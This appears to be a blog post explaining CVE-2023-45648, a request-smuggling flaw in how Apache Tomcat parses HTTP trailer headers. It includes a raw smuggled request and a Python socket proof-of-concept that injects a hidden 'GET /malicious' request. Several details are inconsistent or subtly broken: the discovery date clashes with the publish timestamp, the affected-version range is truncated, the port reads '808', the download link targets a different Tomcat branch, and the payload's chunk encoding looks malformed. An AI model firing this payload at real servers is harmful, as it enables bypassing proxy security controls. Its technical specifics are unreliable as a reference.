In November 2023, security researchers uncovered a significant vulnerability, CVE-2023-45648, in Apache Tomcat - a highly popular open-source Java application server. If you’re running Tomcat behind a reverse proxy, this bug could enable attackers to smuggle requests due to improper input validation around HTTP trailer headers.
This post breaks down the vulnerability in simple language, shows you what’s happening with real code snippets, and gives you tips to keep your servers safe.
8.5. to 8.5.93
Official advisory:
- Apache Tomcat Security Advisory
- NVD entry for CVE-2023-45648
Put simply
Tomcat wasn’t validating HTTP trailer headers correctly. Attackers could craft a malformed trailer header, tricking Tomcat into splitting a single physical request into multiple logical ones. If Tomcat sits behind a reverse proxy, this can allow HTTP request smuggling.
What are HTTP Trailer Headers?
Trailer headers are part of HTTP/1.1’s chunked transfer encoding. Sometimes, the server can send extra headers after the body of a message, in what’s called the “trailer.”
Example of a well-formed request with trailers
POST /api/upload HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
7
Mozilla
9
Developer
Expires: Wed, 21 Oct 2025 07:28:00 GMT
X-Extra-Header: test
<CRLF>
The message body is sent in chunks. After the last chunk, a "trailer" provides extra headers.
A malicious client might send
POST /vulnerable HTTP/1.1
Host: myserver.com
Transfer-Encoding: chunked
5
hello
EvilHeader: injected
GET /malicious HTTP/1.1
Host: myserver.com
- It splits the single HTTP request into two
- POST /vulnerable (normal)
- GET /malicious (smuggled)
- The proxy passes all bytes to Tomcat, thinking it’s a single request; but Tomcat treats part as a new, distinct request.
Below is a simple script using Python’s socket
import socket
payload = (
b"POST /vulnerable HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b"5\r\n"
b"hello\r\n"
b"\r\n"
b"EvilHeader: injected\r\n"
b"GET /malicious HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"\r\n"
)
sock = socket.create_connection(("localhost", 808)) # or your Tomcat port
sock.sendall(payload)
print(sock.recv(4096).decode())
sock.close()
Replace "localhost" and port 808 as needed.
If vulnerable, Tomcat will treat GET /malicious as a fresh request.
Request Smuggling: Sends hidden requests upstream (e.g., to admin-only paths).
- Bypass Security: Reverse proxy logs/filters only the first request, not smuggled ones.
Recommended Upgrade Paths
Upgrade Tomcat to versions:
8.5.94 or newer
Official downloads: https://tomcat.apache.org/download-90.cgi
Review access logs for out-of-order or unexplained requests.
- Use security tools like Burp Suite to test for smuggling.
Patch Example (from Tomcat changelogs)
Developers added extra validation for trailer headers to avoid parsing bogus ones.
See the source code diff for technical details.
Conclusion
CVE-2023-45648 reminds us that even subtle issues like trailer header parsing can expose all sorts of high-impact bugs. If you use Apache Tomcat, especially behind a reverse proxy, patch immediately! Attacks like request smuggling are actively being exploited and can bypass traditional security controls.
References
- Apache Tomcat Security Advisory
- NVD entry for CVE-2023-45648
- Request Smuggling Explanation
- Tomcat Downloads
If you want more detail or help testing your stack, let me know in the comments!
Timeline
Published on: 10/10/2023 19:15:09 UTC
Last modified on: 11/04/2023 06:15:52 UTC